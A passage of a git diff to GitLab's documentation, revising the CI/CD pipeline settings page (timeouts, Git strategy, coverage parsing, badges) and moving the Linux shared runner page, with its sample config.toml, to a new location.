`.gitlab-ci.yml` file. +To avoid this scenario: -## Timeout +1. On the top bar, select **Menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **General pipelines**. +1. Select the **Skip outdated deployment jobs** checkbox. +1. Select **Save changes**. -Timeout defines the maximum amount of time in minutes that a job is able run. -This is configurable under your project's **Settings > CI/CD > General pipelines settings**. -The default value is 60 minutes. Decrease the time limit if you want to impose -a hard limit on your jobs' running time or increase it otherwise. In any case, -if the job surpasses the threshold, it is marked as failed. +Older deployment job are skipped when a new deployment starts. -### Timeout overriding for runners +For more information, see [Deployment safety](../environments/deployment_safety.md). -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17221) in GitLab 10.7. +## Retry outdated jobs -Project defined timeout (either specific timeout set by user or the default -60 minutes timeout) may be [overridden for runners](../runners/configure_runners.md#set-maximum-job-timeout-for-a-runner). +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211339) in GitLab 13.6. -## Maximum artifacts size **(FREE SELF)** +A deployment job can fail because a newer one has run. If you retry the failed deployment job, the +environment could be overwritten with older source code. If you click **Retry**, a modal warns you +about this and asks for confirmation. -For information about setting a maximum artifact size for a project, see -[Maximum artifacts size](../../user/admin_area/settings/continuous_integration.md#maximum-artifacts-size). +For more information, see [Deployment safety](../environments/deployment_safety.md). -## Custom CI/CD configuration file +## Specify a custom CI/CD configuration file > [Support for external `.gitlab-ci.yml` locations](https://gitlab.com/gitlab-org/gitlab/-/issues/14376) introduced in GitLab 12.6. -By default we look for the `.gitlab-ci.yml` file in the project's root -directory. If needed, you can specify an alternate path and filename, including locations outside the project. +GitLab expects to find the CI/CD configuration file (`.gitlab-ci.yml`) in the project's root +directory. However, you can specify an alternate filename path, including locations outside the project. To customize the path: -1. Go to the project's **Settings > CI/CD**. -1. Expand the **General pipelines** section. -1. Provide a value in the **CI/CD configuration file** field. -1. Click **Save changes**. +1. On the top bar, select **Menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **General pipelines**. +1. In the **CI/CD configuration file** field, enter the filename. If the file: + - Is not in the root directory, include the path. + - Is in a different project, include the group and project name. + - Is on an external site, enter the full URL. +1. Select **Save changes**. + +### Custom CI/CD configuration file examples -If the CI/CD configuration file is stored in the repository in a non-default -location, the path must be relative to the root directory. Examples of valid -paths and file names include: +If the CI/CD configuration file is not in the root directory, the path must be relative to it. +For example: -- `.gitlab-ci.yml` (default) -- `.my-custom-file.yml` - `my/path/.gitlab-ci.yml` - `my/path/.my-custom-file.yml` -If hosting the CI/CD configuration file on an external site, the URL link must end with `.yml`: +If the CI/CD configuration file is on an external site, the URL must end with `.yml`: - `http://example.com/generate/ci/config.yml` -If hosting the CI/CD configuration file in a different project in GitLab, the path must be relative +If the CI/CD configuration file is in a different project, the path must be relative to the root directory in the other project. Include the group and project name at the end: - `.gitlab-ci.yml@mygroup/another-project` - `my/path/.my-custom-file.yml@mygroup/another-project` -Hosting the configuration file in a separate project allows stricter control of the -configuration file. For example: +If the configuration file is in a separate project, you can more set more granular permissions. For example: - Create a public project to host the configuration file. - Give write permissions on the project only to users who are allowed to edit the file. -Other users and projects can access the configuration file without being +Then other users and projects can access the configuration file without being able to edit it. -## Test coverage parsing +## Choose the default Git strategy + +You can choose how your repository is fetched from GitLab when a job runs. + +1. On the top bar, select **Menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **General pipelines**. +1. Under **Git strategy**, select an option: + - `git clone` is slower because it clones the repository from scratch + for every job. However, the local working copy is always pristine. + - `git fetch` is faster because it re-uses the local working copy (and falls + back to clone if it doesn't exist). This is recommended, especially for + [large repositories](../large_repositories/index.md#git-strategy). + +The configured Git strategy can be overridden by the [`GIT_STRATEGY` variable](../runners/configure_runners.md#git-strategy) +in the `.gitlab-ci.yml` file. + +## Limit the number of changes fetched during clone + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/28919) in GitLab 12.0. + +You can limit the number of changes that GitLab CI/CD fetches when it clones +a repository. + +1. On the top bar, select **Menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **General pipelines**. +1. Under **Git strategy**, under **Git shallow clone**, enter a value. + The maximum value is `1000`. To disable shallow clone and make GitLab CI/CD + fetch all branches and tags each time, keep the value empty or set to `0`. + +In GitLab 12.0 and later, newly created projects automatically have a default +`git depth` value of `50`. + +This value can be overridden by the [`GIT_DEPTH` variable](../large_repositories/index.md#shallow-cloning) +in the `.gitlab-ci.yml` file. + +## Set a limit for how long jobs can run + +You can define how long a job can run before it times out. + +1. On the top bar, select **Menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **General pipelines**. +1. In the **Timeout** field, enter the number of minutes, or a human-readable value like `2 hours`. + +Jobs that exceed the timeout are marked as failed. + +You can override this value [for individual runners](../runners/configure_runners.md#set-maximum-job-timeout-for-a-runner). + +## Add test coverage results to a merge request -If you use test coverage in your code, GitLab can capture its output in the -job log using a regular expression. +If you use test coverage in your code, you can use a regular expression to +find coverage results in the job log. You can then include these results +in the merge request in GitLab. -In your project, go to **Settings > CI/CD** and expand the **General pipelines** -section. Enter the regular expression in the **Test coverage parsing** field. +1. On the top bar, select **Menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **General pipelines**. +1. In the **Test coverage parsing** field, enter a regular expression. + Leave blank to disable this feature. -Leave blank if you want to disable it or enter a Ruby regular expression. You -can use <https://rubular.com> to test your regex. The regex returns the **last** +You can use <https://rubular.com> to test your regex. The regex returns the **last** match found in the output. If the pipeline succeeds, the coverage is shown in the merge request widget and @@ -135,6 +209,10 @@ averaged.  +### Test coverage examples + +Use this regex for commonly used test tools. + <!-- vale gitlab.Spelling = NO --> - Simplecov (Ruby). Example: `\(\d+.\d+\%\) covered`. @@ -148,27 +226,51 @@ averaged. - `mix test --cover` (Elixir). Example: `\d+.\d+\%\s+\|\s+Total`. - JaCoCo (Java/Kotlin). Example: `Total.*?([0-9]{1,3})%`. - `go test -cover` (Go). Example: `coverage: \d+.\d+% of statements`. -- .Net (OpenCover). Example: `(Visited Points).*\((.*)\)`. -- .Net (`dotnet test` line coverage). Example: `Total\s*\|\s*(\d+(?:\.\d+)?)`. +- .NET (OpenCover). Example: `(Visited Points).*\((.*)\)`. +- .NET (`dotnet test` line coverage). Example: `Total\s*\|\s*(\d+(?:\.\d+)?)`. <!-- vale gitlab.Spelling = YES --> -### Code Coverage history +### View code coverage history > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/209121) the ability to download a `.csv` in GitLab 12.10. > - [Graph introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/33743) in GitLab 13.1. To see the evolution of your project code coverage over time, -you can view a graph or download a CSV file with this data. From your project: +you can view a graph or download a CSV file with this data. + +1. On the top bar, select **Menu > Projects** and find your project. +1. On the left sidebar, select **Analytics > Repository**. -1. Go to **Project Analytics > Repository** to see the historic data for each job listed in the dropdown above the graph. -1. If you want a CSV file of that data, click **Download raw data (`.csv`)** +The historic data for each job is listed in the dropdown above the graph. + +To view a CSV file of the data, select **Download raw data (`.csv`)**.  Code coverage data is also [available at the group level](../../user/group/repositories_analytics/index.md). -### Removing color codes +### Coverage check approval rule **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15765) in GitLab 14.0. +> - [Made configurable in Project Settings](https://gitlab.com/gitlab-org/gitlab/-/issues/331001) in GitLab 14.1. + +You can implement merge request approvals to require approval by selected users or a group +when merging a merge request would cause the project's test coverage to decline. + +Follow these steps to enable the `Coverage-Check` MR approval rule: + +1. Go to your project and select **Settings > General**. +1. Expand **Merge request approvals**. +1. Select **Enable** next to the `Coverage-Check` approval rule. +1. Select the **Target branch**. +1. Set the number of **Approvals required** to greater than zero. +1. Select the users or groups to provide approval. +1. Select **Add approval rule**. + + + +### Remove color codes from code coverage Some test coverage tools output with ANSI color codes that aren't parsed correctly by the regular expression. This causes coverage @@ -184,93 +286,20 @@ For example: lein cloverage | perl -pe 's/\e\[?.*?[\@-~]//g' ``` -## Visibility of pipelines - -Pipeline visibility is determined by: - -- Your current [user access level](../../user/permissions.md). -- The **Public pipelines** project setting under your project's **Settings > CI/CD > General pipelines**. - -NOTE: -If the project visibility is set to **Private**, the [**Public pipelines** setting has no effect](../enable_or_disable_ci.md#per-project-user-setting). - -This also determines the visibility of these related features: - -- Job output logs -- Job artifacts -- The [pipeline security dashboard](../../user/application_security/security_dashboard/index.md#pipeline-security) **(ULTIMATE)** - -Job logs and artifacts are [not visible for guest users and non-project members](https://gitlab.com/gitlab-org/gitlab/-/issues/25649). - -If **Public pipelines** is enabled (default): - -- For **public** projects, anyone can view the pipelines and related features. -- For **internal** projects, any logged in user except [external users](../../user/permissions.md#external-users) can view the pipelines - and related features. -- For **private** projects, any project member (guest or higher) can view the pipelines - and related features. - -If **Public pipelines** is disabled: - -- For **public** projects, anyone can view the pipelines, but only members - (reporter or higher) can access the related features. -- For **internal** projects, any logged in user except [external users](../../user/permissions.md#external-users) can view the pipelines. - However, only members (reporter or higher) can access the job related features. -- For **private** projects, only project members (reporter or higher) - can view the pipelines or access the related features. - -## Auto-cancel redundant pipelines - -You can set pending or running pipelines to cancel automatically when a new pipeline runs on the same branch. You can enable this in the project settings: - -1. Go to **Settings > CI/CD**. -1. Expand **General Pipelines**. -1. Check the **Auto-cancel redundant pipelines** checkbox. -1. Click **Save changes**. - -Use the [`interruptible`](../yaml/README.md#interruptible) keyword to indicate if a -running job can be cancelled before it completes. - -## Skip outdated deployment jobs - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/25276) in GitLab 12.9. +## Pipeline badges -Your project may have multiple concurrent deployment jobs that are -scheduled to run in the same time frame. +Pipeline badges indicate the pipeline status and a test coverage value +for your project. These badges are determined by the latest successful pipeline. -This can lead to a situation where an older deployment job runs after a -newer one, which may not be what you want. +### View the code for the pipeline status and coverage reports badges -To avoid this scenario: +You can view the exact link for your badges. Then you can embed the badge in your HTML +or Markdown pages. -1. Go to **Settings > CI/CD**. +1. On the top bar, select **Menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. 1. Expand **General pipelines**. -1. Check the **Skip outdated deployment jobs** checkbox. -1. Click **Save changes**. - -When enabled, any older deployments job are skipped when a new deployment starts. - -For more information, see [Deployment safety](../environments/deployment_safety.md). - -## Retry outdated jobs - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/211339) in GitLab 13.6. - -A deployment job can fail because a newer one has run. If you retry the failed deployment job, the -environment could be overwritten with older source code. If you click **Retry**, a modal warns you -about this and asks for confirmation. - -For more information, see [Deployment safety](../environments/deployment_safety.md). - -## Pipeline Badges - -In the pipelines settings page you can find pipeline status and test coverage -badges for your project. The latest successful pipeline is used to read -the pipeline status and test coverage values. - -Visit the pipelines settings page in your project to see the exact link to -your badges. You can also see ways to embed the badge image in your HTML or Markdown -pages. +1. In the **Pipeline status** or **Coverage report** sections, view the URLs for the images.  @@ -286,7 +315,7 @@ Depending on the status of your pipeline, a badge can have the following values: - `canceled` - `unknown` -You can access a pipeline status badge image using the following link: +You can access a pipeline status badge image by using the following link: ```plaintext https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg @@ -294,7 +323,7 @@ https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg #### Display only non-skipped status -If you want the pipeline status badge to only display the last non-skipped status, you can use the `?ignore_skipped=true` query parameter: +To make the pipeline status badge display only the last non-skipped status, use the `?ignore_skipped=true` query parameter: ```plaintext https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg?ignore_skipped=true @@ -302,20 +331,20 @@ https://gitlab.example.com/<namespace>/<project>/badges/<branch>/pipeline.svg?ig ### Test coverage report badge -GitLab makes it possible to define the regular expression for the [coverage report](#test-coverage-parsing), +You can define the regular expression for the [coverage report](#add-test-coverage-results-to-a-merge-request) that each job log is matched against. This means that each job in the pipeline can have the test coverage percentage value defined. -The test coverage badge can be accessed using following link: +To access the test coverage badge, use the following link: ```plaintext https://gitlab.example.com/<namespace>/<project>/badges/<branch>/coverage.svg ``` -If you would like to get the coverage report from a specific job, you can add +To get the coverage report from a specific job, add the `job=coverage_job_name` parameter to the URL. For example, the following Markdown code embeds the test coverage report badge of the `coverage` job -into your `README.md`: +in your `README.md`: ```markdown  diff --git a/doc/ci/quick_start/README.md b/doc/ci/quick_start/README.md deleted file mode 100644 index 577a80407d7..00000000000 --- a/doc/ci/quick_start/README.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -redirect_to: 'index.md' -remove_date: '2021-05-01' ---- - -This document was moved to [another location](index.md). - -<!-- This redirect file can be deleted after 2021-05-01. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/quick_start/index.md b/doc/ci/quick_start/index.md index 225794aec17..8d800d49be3 100644 --- a/doc/ci/quick_start/index.md +++ b/doc/ci/quick_start/index.md @@ -142,7 +142,7 @@ The pipeline starts when the commit is committed. - You can also use [CI/CD configuration visualization](../pipeline_editor/index.md#visualize-ci-configuration) to view a graphical representation of your `.gitlab-ci.yml` file. - For the complete `.gitlab-ci.yml` syntax, see - [the `.gitlab-ci.yml` reference topic](../yaml/README.md). + [the `.gitlab-ci.yml` reference topic](../yaml/index.md). ### View the status of your pipeline and jobs diff --git a/doc/ci/review_apps/index.md b/doc/ci/review_apps/index.md index a64efd50f6f..1ed736de1e8 100644 --- a/doc/ci/review_apps/index.md +++ b/doc/ci/review_apps/index.md @@ -22,7 +22,7 @@ Review Apps: - Provide an automatic live preview of changes made in a feature branch by spinning up a dynamic environment for your merge requests. - Allow designers and product managers to see your changes without needing to check out your branch and run your changes in a sandbox environment. -- Are fully integrated with the [GitLab DevOps LifeCycle](../../README.md#the-entire-devops-lifecycle). +- Are fully integrated with the [GitLab DevOps LifeCycle](../../index.md#the-entire-devops-lifecycle). - Allow you to deploy your changes wherever you want.  @@ -62,7 +62,7 @@ The process of configuring Review Apps is as follows: 1. Set up the infrastructure to host and deploy the Review Apps (check the [examples](#review-apps-examples) below). 1. [Install](https://docs.gitlab.com/runner/install/) and [configure](https://docs.gitlab.com/runner/commands/) a runner to do deployment. -1. Set up a job in `.gitlab-ci.yml` that uses the [predefined CI/CD variable](../variables/README.md) `${CI_COMMIT_REF_NAME}` +1. Set up a job in `.gitlab-ci.yml` that uses the [predefined CI/CD variable](../variables/index.md) `${CI_COMMIT_REF_NAME}` to create dynamic environments and restrict it to run only on branches. Alternatively, you can get a YML template for this job by [enabling review apps](#enable-review-apps-button) for your project. 1. Optionally, set a job that [manually stops](../environments/index.md#stopping-an-environment) the Review Apps. @@ -224,7 +224,7 @@ To see Visual reviews in action, see the [Visual Reviews Walk through](https://y ### Configure Review Apps for Visual Reviews The feedback form is served through a script you add to pages in your Review App. -If you have [Developer permissions](../../user/permissions.md) to the project, +If you have the [Developer role](../../user/permissions.md) in the project, you can access it by clicking the **Review** button in the **Pipeline** section of the merge request. The form modal also shows a dropdown for changed pages if [route maps](#route-maps) are configured in the project. @@ -254,7 +254,7 @@ to replace those values at runtime when each review app is created: variable. - `data-merge-request-id` is the merge request ID, which can be found by the `CI_MERGE_REQUEST_IID` variable. `CI_MERGE_REQUEST_IID` is available only if - [`only: [merge_requests]`](../merge_request_pipelines/index.md) + [`only: [merge_requests]`](../pipelines/merge_request_pipelines.md) is used and the merge request is created. - `data-mr-url` is the URL of the GitLab instance and is the same for all review apps. diff --git a/doc/ci/runners/README.md b/doc/ci/runners/README.md index 45113c480c7..5ab8653dc35 100644 --- a/doc/ci/runners/README.md +++ b/doc/ci/runners/README.md @@ -1,289 +1,8 @@ --- -stage: Verify -group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: reference +redirect_to: 'index.md' --- -# GitLab SaaS runners +This document was moved to [another location](index.md). -If you are using self-managed GitLab or you want to use your own runners on GitLab.com, you can -[install and configure your own runners](https://docs.gitlab.com/runner/install/). - -If you are using GitLab SaaS (GitLab.com), your CI jobs automatically run on shared runners. No configuration is required. -Your jobs can run on [Linux](#linux-shared-runners) or [Windows](#windows-shared-runners-beta). - -The number of minutes you can use on these shared runners depends on your -[quota](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota), -which depends on your [subscription plan](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes). - -## Linux shared runners - -Linux shared runners on GitLab.com run in autoscale mode and are powered by Google Cloud Platform. - -Autoscaling means reduced queue times to spin up CI/CD jobs, and isolated VMs for each job, thus maximizing security. These shared runners are available for users and customers on GitLab.com. - -GitLab offers Ultimate tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier. - -All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, CoreOS and the latest Docker Engine -installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default -region of the VMs is US East1. -Each instance is used only for one job, this ensures any sensitive data left on the system can't be accessed by other people their CI jobs. - -The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They don't run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times. - -Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`), -**time out after 3 hours**, regardless of the timeout configured in a -project. Check the issues [4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference. - -Below are the shared runners settings. - -| Setting | GitLab.com | Default | -| ----------- | ----------------- | ---------- | -| [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) | [Runner versions dashboard](https://dashboards.gitlab.com/d/000000159/ci?from=now-1h&to=now&refresh=5m&orgId=1&panelId=12&fullscreen&theme=light) | - | -| Executor | `docker+machine` | - | -| Default Docker image | `ruby:2.5` | - | -| `privileged` (run [Docker in Docker](https://hub.docker.com/_/docker/)) | `true` | `false` | - -### Pre-clone script - -Linux shared runners on GitLab.com provide a way to run commands in a CI -job before the runner attempts to run `git init` and `git fetch` to -download a GitLab repository. The -[`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) -can be used for: - -- Seeding the build directory with repository data -- Sending a request to a server -- Downloading assets from a CDN -- Any other commands that must run before the `git init` - -To use this feature, define a [CI/CD variable](../../ci/variables/README.md#custom-cicd-variables) called -`CI_PRE_CLONE_SCRIPT` that contains a bash script. - -[This example](../../development/pipelines.md#pre-clone-step) -demonstrates how you might use a pre-clone step to seed the build -directory. - -### `config.toml` - -The full contents of our `config.toml` are: - -NOTE: -Settings that are not public are shown as `X`. - -**Google Cloud Platform** - -```toml -concurrent = X -check_interval = 1 -metrics_server = "X" -sentry_dsn = "X" - -[[runners]] - name = "docker-auto-scale" - request_concurrency = X - url = "https://gitlab.com/" - token = "SHARED_RUNNER_TOKEN" - pre_clone_script = "eval \"$CI_PRE_CLONE_SCRIPT\"" - executor = "docker+machine" - environment = [ - "DOCKER_DRIVER=overlay2", - "DOCKER_TLS_CERTDIR=" - ] - limit = X - [runners.docker] - image = "ruby:2.5" - privileged = true - volumes = [ - "/certs/client", - "/dummy-sys-class-dmi-id:/sys/class/dmi/id:ro" # Make kaniko builds work on GCP. - ] - [runners.machine] - IdleCount = 50 - IdleTime = 3600 - MaxBuilds = 1 # For security reasons we delete the VM after job has finished so it's not reused. - MachineName = "srm-%s" - MachineDriver = "google" - MachineOptions = [ - "google-project=PROJECT", - "google-disk-size=25", - "google-machine-type=n1-standard-1", - "google-username=core", - "google-tags=gitlab-com,srm", - "google-use-internal-ip", - "google-zone=us-east1-d", - "engine-opt=mtu=1460", # Set MTU for container interface, for more information check https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3214#note_82892928 - "google-machine-image=PROJECT/global/images/IMAGE", - "engine-opt=ipv6", # This will create IPv6 interfaces in the containers. - "engine-opt=fixed-cidr-v6=fc00::/7", - "google-operation-backoff-initial-interval=2" # Custom flag from forked docker-machine, for more information check https://github.com/docker/machine/pull/4600 - ] - [[runners.machine.autoscaling]] - Periods = ["* * * * * sat,sun *"] - Timezone = "UTC" - IdleCount = 70 - IdleTime = 3600 - [[runners.machine.autoscaling]] - Periods = ["* 30-59 3 * * * *", "* 0-30 4 * * * *"] - Timezone = "UTC" - IdleCount = 700 - IdleTime = 3600 - [runners.cache] - Type = "gcs" - Shared = true - [runners.cache.gcs] - CredentialsFile = "/path/to/file" - BucketName = "bucket-name" -``` - -## Windows shared runners (beta) - -The Windows shared runners are in [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta) -and shouldn't be used for production workloads. - -During this beta period, the [shared runner pipeline quota](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota) -applies for groups and projects in the same manner as Linux runners. This may -change when the beta period ends, as discussed in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30834). - -Windows shared runners on GitLab.com autoscale by launching virtual machines on -the Google Cloud Platform. This solution uses an -[autoscaling driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/tree/master/docs/readme.md) -developed by GitLab for the [custom executor](https://docs.gitlab.com/runner/executors/custom.html). -Windows shared runners execute your CI/CD jobs on `n1-standard-2` instances with -2 vCPUs and 7.5 GB RAM. You can find a full list of available Windows packages in -the [package documentation](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/blob/master/cookbooks/preinstalled-software/README.md). - -We want to keep iterating to get Windows shared runners in a stable state and -[generally available](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga). -You can follow our work towards this goal in the -[related epic](https://gitlab.com/groups/gitlab-org/-/epics/2162). - -### Configuration - -The full contents of our `config.toml` are: - -NOTE: -Settings that aren't public are shown as `X`. - -```toml -concurrent = X -check_interval = 3 - -[[runners]] - name = "windows-runner" - url = "https://gitlab.com/" - token = "TOKEN" - executor = "custom" - builds_dir = "C:\\GitLab-Runner\\builds" - cache_dir = "C:\\GitLab-Runner\\cache" - shell = "powershell" - [runners.custom] - config_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" - config_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "config"] - prepare_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" - prepare_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "prepare"] - run_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" - run_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "run"] - cleanup_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe" - cleanup_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "cleanup"] -``` - -The full contents of our `autoscaler/config.toml` are: - -```toml -Provider = "gcp" -Executor = "winrm" -OS = "windows" -LogLevel = "info" -LogFormat = "text" -LogFile = "C:\\GitLab-Runner\\autoscaler\\autoscaler.log" -VMTag = "windows" - -[GCP] - ServiceAccountFile = "PATH" - Project = "some-project-df9323" - Zone = "us-east1-c" - MachineType = "n1-standard-2" - Image = "IMAGE" - DiskSize = 50 - DiskType = "pd-standard" - Subnetwork = "default" - Network = "default" - Tags = ["TAGS"] - Username = "gitlab_runner" - -[WinRM] - MaximumTimeout = 3600 - ExecutionMaxRetries = 0 - -[ProviderCache] - Enabled = true - Directory = "C:\\GitLab-Runner\\autoscaler\\machines" -``` - -### Example - -Below is a simple `.gitlab-ci.yml` file to show how to start using the -Windows shared runners: - -```yaml -.shared_windows_runners: - tags: - - shared-windows - - windows - - windows-1809 - -stages: - - build - - test - -before_script: - - Set-Variable -Name "time" -Value (date -Format "%H:%m") - - echo ${time} - - echo "started by ${GITLAB_USER_NAME}" - -build: - extends: - - .shared_windows_runners - stage: build - script: - - echo "running scripts in the build job" - -test: - extends: - - .shared_windows_runners - stage: test - script: - - echo "running scripts in the test job" -``` - -### Limitations and known issues - -- All the limitations mentioned in our [beta - definition](https://about.gitlab.com/handbook/product/#beta). -- The average provisioning time for a new Windows VM is 5 minutes. - This means that you may notice slower build start times - on the Windows shared runner fleet during the beta. In a future - release we intend to update the autoscaler to enable - the pre-provisioning of virtual machines. This is intended to significantly reduce - the time it takes to provision a VM on the Windows fleet. You can - follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32). -- The Windows shared runner fleet may be unavailable occasionally - for maintenance or updates. -- The Windows shared runner virtual machine instances do not use the - GitLab Docker executor. This means that you can't specify - [`image`](../../ci/yaml/README.md#image) or [`services`](../../ci/yaml/README.md#services) in - your pipeline configuration. -- For the beta release, we have included a set of software packages in - the base VM image. If your CI job requires additional software that's - not included in this list, then you must add installation - commands to [`before_script`](../../ci/yaml/README.md#before_script) or [`script`](../../ci/yaml/README.md#script) to install the required - software. Note that each job runs on a new VM instance, so the - installation of additional software packages needs to be repeated for - each job in your pipeline. -- The job may stay in a pending state for longer than the - Linux shared runners. -- There is the possibility that we introduce breaking changes which will - require updates to pipelines that are using the Windows shared runner - fleet. +<!-- This redirect file can be deleted after 2021-09-28. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/runners/build_cloud/linux_build_cloud.md b/doc/ci/runners/build_cloud/linux_build_cloud.md new file mode 100644 index 00000000000..710054921ef --- /dev/null +++ b/doc/ci/runners/build_cloud/linux_build_cloud.md @@ -0,0 +1,127 @@ +--- +stage: Verify +group: Runner +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Linux shared runners + +Linux shared runners on GitLab.com run in autoscale mode and are powered by Google Cloud Platform. + +Autoscaling means reduced queue times to spin up CI/CD jobs, and isolated VMs for each job, thus maximizing security. These shared runners are available for users and customers on GitLab.com. + +GitLab offers Ultimate tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier. + +All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, CoreOS and the latest Docker Engine +installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default +region of the VMs is US East1. +Each instance is used only for one job, this ensures any sensitive data left on the system can't be accessed by other people their CI jobs. + +The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They don't run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times. + +Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`), +**time out after 3 hours**, regardless of the timeout configured in a +project. Check the issues [4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference. + +Below are the shared runners settings. + +| Setting | GitLab.com | Default | +| ----------- | ----------------- | ---------- | +| Executor | `docker+machine` | - | +| Default Docker image | `ruby:2.5` | - | +| `privileged` (run [Docker in Docker](https://hub.docker.com/_/docker/)) | `true` | `false` | + +## Pre-clone script + +Linux shared runners on GitLab.com provide a way to run commands in a CI +job before the runner attempts to run `git init` and `git fetch` to +download a GitLab repository. The +[`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section) +can be used for: + +- Seeding the build directory with repository data +- Sending a request to a server +- Downloading assets from a CDN +- Any other commands that must run before the `git init` + +To use this feature, define a [CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables) called +`CI_PRE_CLONE_SCRIPT` that contains a bash script. + +[This example](../../../development/pipelines.md#pre-clone-step) +demonstrates how you might use a pre-clone step to seed the build +directory. + +NOTE: +The `CI_PRE_CLONE_SCRIPT` variable does not work on Windows runners. + +## `config.toml` + +The full contents of our `config.toml` are: + +NOTE: +Settings that are not public are shown as `X`. + +**Google Cloud Platform** + +```toml +concurrent = X +check_interval = 1 +metrics_server = "X" +sentry_dsn = "X" + +[[runners]] + name = "docker-auto-scale" + request_concurrency = X + url = "https://gitlab.com/" + token = "SHARED_RUNNER_TOKEN" + pre_clone_script = "eval \"$CI_PRE_CLONE_SCRIPT\"" + executor = "docker+machine" + environment = [ + "DOCKER_DRIVER=overlay2", + "DOCKER_TLS_CERTDIR=" + ] + limit = X + [runners.docker] + image = "ruby:2.5" + privileged = true + volumes = [ + "/certs/client", + "/dummy-sys-class-dmi-id:/sys/class/dmi/id:ro" # Make kaniko builds work on GCP. + ] + [runners.machine] + IdleCount = 50 + IdleTime = 3600 + MaxBuilds = 1 # For security reasons we delete the VM after job has finished so it's not reused. + MachineName = "srm-%s" + MachineDriver = "google" + MachineOptions = [ + "google-project=PROJECT", + "google-disk-size=25", + "google-machine-type=n1-standard-1", + "google-username=core", + "google-tags=gitlab-com,srm", + "google-use-internal-ip", + "google-zone=us-east1-d", + "engine-opt=mtu=1460", # Set MTU for container interface, for more information check https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3214#note_82892928 + "google-machine-image=PROJECT/global/images/IMAGE", + 